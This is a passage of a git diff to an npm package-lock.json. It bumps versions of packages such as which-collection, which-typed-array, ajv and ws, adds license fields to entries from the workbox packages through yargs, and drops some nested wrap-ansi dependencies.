         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/which-collection": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz",
-      "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==",
+    "node_modules/which-builtin-type": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
+      "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
+      "license": "MIT",
       "dependencies": {
-        "is-map": "^2.0.1",
-        "is-set": "^2.0.1",
-        "is-weakmap": "^2.0.1",
-        "is-weakset": "^2.0.1"
+        "call-bound": "^1.0.2",
+        "function.prototype.name": "^1.1.6",
+        "has-tostringtag": "^1.0.2",
+        "is-async-function": "^2.0.0",
+        "is-date-object": "^1.1.0",
+        "is-finalizationregistry": "^1.1.0",
+        "is-generator-function": "^1.0.10",
+        "is-regex": "^1.2.1",
+        "is-weakref": "^1.0.2",
+        "isarray": "^2.0.5",
+        "which-boxed-primitive": "^1.1.0",
+        "which-collection": "^1.0.2",
+        "which-typed-array": "^1.1.16"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/which-builtin-type/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "license": "MIT"
+    },
+    "node_modules/which-collection": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
+      "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
+      "license": "MIT",
+      "dependencies": {
+        "is-map": "^2.0.3",
+        "is-set": "^2.0.3",
+        "is-weakmap": "^2.0.2",
+        "is-weakset": "^2.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/which-typed-array": {
-      "version": "1.1.14",
-      "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.14.tgz",
-      "integrity": "sha512-VnXFiIW8yNn9kIHN88xvZ4yOWchftKDsRJ8fEPacX/wl1lOvBrhsJ/OeJCXq7B0AaijRuqgzSKalJoPk+D8MPg==",
+      "version": "1.1.19",
+      "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz",
+      "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==",
+      "license": "MIT",
       "dependencies": {
-        "available-typed-arrays": "^1.0.6",
-        "call-bind": "^1.0.5",
-        "for-each": "^0.3.3",
-        "gopd": "^1.0.1",
-        "has-tostringtag": "^1.0.1"
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "for-each": "^0.3.5",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -18829,6 +18582,7 @@
       "version": "1.2.5",
       "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
       "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -18837,6 +18591,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.6.0.tgz",
       "integrity": "sha512-jkf4ZdgOJxC9u2vztxLuPT/UjlH7m/nWRQ/MgGL0v8BJHoZdVGJd18Kck+a0e55wGXdqyHO+4IQTk0685g4MUw==",
+      "license": "MIT",
       "dependencies": {
         "idb": "^7.0.1",
         "workbox-core": "6.6.0"
@@ -18846,6 +18601,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.6.0.tgz",
       "integrity": "sha512-nm+v6QmrIFaB/yokJmQ/93qIJ7n72NICxIwQwe5xsZiV2aI93MGGyEyzOzDPVz5THEr5rC3FJSsO3346cId64Q==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0"
       }
@@ -18854,6 +18610,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.6.0.tgz",
       "integrity": "sha512-Tjf+gBwOTuGyZwMz2Nk/B13Fuyeo0Q84W++bebbVsfr9iLkDSo6j6PST8tET9HYA58mlRXwlMGpyWO8ETJiXdQ==",
+      "license": "MIT",
       "dependencies": {
         "@apideck/better-ajv-errors": "^0.3.1",
         "@babel/core": "^7.11.1",
@@ -18901,6 +18658,7 @@
       "version": "0.3.6",
       "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
       "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
+      "license": "MIT",
       "dependencies": {
         "json-schema": "^0.4.0",
         "jsonpointer": "^5.0.0",
@@ -18914,14 +18672,15 @@
       }
     },
     "node_modules/workbox-build/node_modules/ajv": {
-      "version": "8.12.0",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz",
-      "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==",
+      "version": "8.17.1",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
+      "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
+      "license": "MIT",
       "dependencies": {
-        "fast-deep-equal": "^3.1.1",
+        "fast-deep-equal": "^3.1.3",
+        "fast-uri": "^3.0.1",
         "json-schema-traverse": "^1.0.0",
-        "require-from-string": "^2.0.2",
-        "uri-js": "^4.2.2"
+        "require-from-string": "^2.0.2"
       },
       "funding": {
         "type": "github",
@@ -18931,12 +18690,14 @@
     "node_modules/workbox-build/node_modules/fast-deep-equal": {
       "version": "3.1.3",
       "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
-      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
+      "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+      "license": "MIT"
     },
     "node_modules/workbox-build/node_modules/fs-extra": {
       "version": "9.1.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
       "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+      "license": "MIT",
       "dependencies": {
         "at-least-node": "^1.0.0",
         "graceful-fs": "^4.2.0",
@@ -18950,12 +18711,14 @@
     "node_modules/workbox-build/node_modules/json-schema-traverse": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
-      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+      "license": "MIT"
     },
     "node_modules/workbox-build/node_modules/source-map": {
       "version": "0.8.0-beta.0",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz",
       "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "whatwg-url": "^7.0.0"
       },
@@ -18967,6 +18730,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz",
       "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==",
+      "license": "MIT",
       "dependencies": {
         "punycode": "^2.1.0"
       }
@@ -18974,12 +18738,14 @@
     "node_modules/workbox-build/node_modules/webidl-conversions": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
-      "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="
+      "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==",
+      "license": "BSD-2-Clause"
     },
     "node_modules/workbox-build/node_modules/whatwg-url": {
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
       "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
+      "license": "MIT",
       "dependencies": {
         "lodash.sortby": "^4.7.0",
         "tr46": "^1.0.1",
@@ -18991,6 +18757,7 @@
       "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.6.0.tgz",
       "integrity": "sha512-JfhJUSQDwsF1Xv3EV1vWzSsCOZn4mQ38bWEBR3LdvOxSPgB65gAM6cS2CX8rkkKHRgiLrN7Wxoyu+TuH67kHrw==",
       "deprecated": "workbox-background-sync@6.6.0",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0"
       }
@@ -18998,12 +18765,14 @@
     "node_modules/workbox-core": {
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.6.0.tgz",
-      "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ=="
+      "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ==",
+      "license": "MIT"
     },
     "node_modules/workbox-expiration": {
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.6.0.tgz",
       "integrity": "sha512-baplYXcDHbe8vAo7GYvyAmlS4f6998Jff513L4XvlzAOxcl8F620O91guoJ5EOf5qeXG4cGdNZHkkVAPouFCpw==",
+      "license": "MIT",
       "dependencies": {
         "idb": "^7.0.1",
         "workbox-core": "6.6.0"
@@ -19014,6 +18783,7 @@
       "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.6.0.tgz",
       "integrity": "sha512-p4DJa6OldXWd6M9zRl0H6vB9lkrmqYFkRQ2xEiNdBFp9U0LhsGO7hsBscVEyH9H2/3eZZt8c97NB2FD9U2NJ+Q==",
       "deprecated": "It is not compatible with newer versions of GA starting with v4, as long as you are using GAv3 it should be ok, but the package is not longer being maintained",
+      "license": "MIT",
       "dependencies": {
         "workbox-background-sync": "6.6.0",
         "workbox-core": "6.6.0",
@@ -19025,6 +18795,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.6.0.tgz",
       "integrity": "sha512-utNEWG+uOfXdaZmvhshrh7KzhDu/1iMHyQOV6Aqup8Mm78D286ugu5k9MFD9SzBT5TcwgwSORVvInaXWbvKz9Q==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0"
       }
@@ -19033,6 +18804,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.6.0.tgz",
       "integrity": "sha512-eYu/7MqtRZN1IDttl/UQcSZFkHP7dnvr/X3Vn6Iw6OsPMruQHiVjjomDFCNtd8k2RdjLs0xiz9nq+t3YVBcWPw==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0",
         "workbox-routing": "6.6.0",
@@ -19043,6 +18815,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.6.0.tgz",
       "integrity": "sha512-V3aICz5fLGq5DpSYEU8LxeXvsT//mRWzKrfBOIxzIdQnV/Wj7R+LyJVTczi4CQ4NwKhAaBVaSujI1cEjXW+hTw==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0"
       }
@@ -19051,6 +18824,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.6.0.tgz",
       "integrity": "sha512-TFi3kTgYw73t5tg73yPVqQC8QQjxJSeqjXRO4ouE/CeypmP2O/xqmB/ZFBBQazLTPxILUQ0b8aeh0IuxVn9a6A==",
+      "license": "MIT",
       "dependencies": {
         "workbox-cacheable-response": "6.6.0",
         "workbox-core": "6.6.0",
@@ -19064,6 +18838,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.6.0.tgz",
       "integrity": "sha512-x8gdN7VDBiLC03izAZRfU+WKUXJnbqt6PG9Uh0XuPRzJPpZGLKce/FkOX95dWHRpOHWLEq8RXzjW0O+POSkKvw==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0"
       }
@@ -19072,6 +18847,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.6.0.tgz",
       "integrity": "sha512-eC07XGuINAKUWDnZeIPdRdVja4JQtTuc35TZ8SwMb1ztjp7Ddq2CJ4yqLvWzFWGlYI7CG/YGqaETntTxBGdKgQ==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0"
       }
@@ -19080,6 +18856,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.6.0.tgz",
       "integrity": "sha512-rfMJLVvwuED09CnH1RnIep7L9+mj4ufkTyDPVaXPKlhi9+0czCu+SJggWCIFbPpJaAZmp2iyVGLqS3RUmY3fxg==",
+      "license": "MIT",
       "dependencies": {
         "workbox-core": "6.6.0",
         "workbox-routing": "6.6.0"
@@ -19088,12 +18865,14 @@
     "node_modules/workbox-sw": {
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.6.0.tgz",
-      "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ=="
+      "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ==",
+      "license": "MIT"
     },
     "node_modules/workbox-webpack-plugin": {
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.0.tgz",
       "integrity": "sha512-xNZIZHalboZU66Wa7x1YkjIqEy1gTR+zPM+kjrYJzqN7iurYZBctBLISyScjhkJKYuRrZUP0iqViZTh8rS0+3A==",
+      "license": "MIT",
       "dependencies": {
         "fast-json-stable-stringify": "^2.1.0",
         "pretty-bytes": "^5.4.1",
@@ -19112,6 +18891,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -19120,6 +18900,7 @@
       "version": "1.4.3",
       "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
       "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
+      "license": "MIT",
       "dependencies": {
         "source-list-map": "^2.0.0",
         "source-map": "~0.6.1"
@@ -19129,6 +18910,7 @@
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.6.0.tgz",
       "integrity": "sha512-L4N9+vka17d16geaJXXRjENLFldvkWy7JyGxElRD0JvBxvFEd8LOhr+uXCcar/NzAmIBRv9EZ+M+Qr4mOoBITw==",
+      "license": "MIT",
       "dependencies": {
         "@types/trusted-types": "^2.0.2",
         "workbox-core": "6.6.0"
@@ -19138,6 +18920,7 @@
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
       "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "string-width": "^4.1.0",
@@ -19155,6 +18938,7 @@
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
       "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^4.0.0",
         "string-width": "^4.1.0",
@@ -19167,45 +18951,17 @@
         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
       }
     },
-    "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/wrap-ansi-cjs/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/wrap-ansi-cjs/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
     "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
     },
     "node_modules/wrap-ansi-cjs/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -19214,6 +18970,7 @@
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -19223,45 +18980,17 @@
         "node": ">=8"
       }
     },
-    "node_modules/wrap-ansi/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/wrap-ansi/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/wrap-ansi/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
     "node_modules/wrap-ansi/node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
     },
     "node_modules/wrap-ansi/node_modules/is-fullwidth-code-point": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -19270,6 +18999,7 @@
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -19282,12 +19012,14 @@
     "node_modules/wrappy": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
-      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+      "license": "ISC"
     },
     "node_modules/write-file-atomic": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
       "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
+      "license": "ISC",
       "dependencies": {
         "imurmurhash": "^0.1.4",
         "is-typedarray": "^1.0.0",
@@ -19296,9 +19028,10 @@
       }
     },
     "node_modules/ws": {
-      "version": "7.5.9",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz",
-      "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==",
+      "version": "7.5.10",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.10.tgz",
+      "integrity": "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=8.3.0"
       },
@@ -19318,17 +19051,20 @@
     "node_modules/xml-name-validator": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
-      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw=="
+      "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==",
+      "license": "Apache-2.0"
     },
     "node_modules/xmlchars": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
-      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="
+      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
+      "license": "MIT"
     },
     "node_modules/y18n": {
       "version": "5.0.8",
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
       "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -19336,12 +19072,14 @@
     "node_modules/yallist": {
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
-      "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
+      "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+      "license": "ISC"
     },
     "node_modules/yaml": {
       "version": "1.10.2",
       "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
       "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
+      "license": "ISC",
       "engines": {
         "node": ">= 6"
       }
@@ -19350,6 +19088,7 @@
       "version": "16.2.0",
       "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
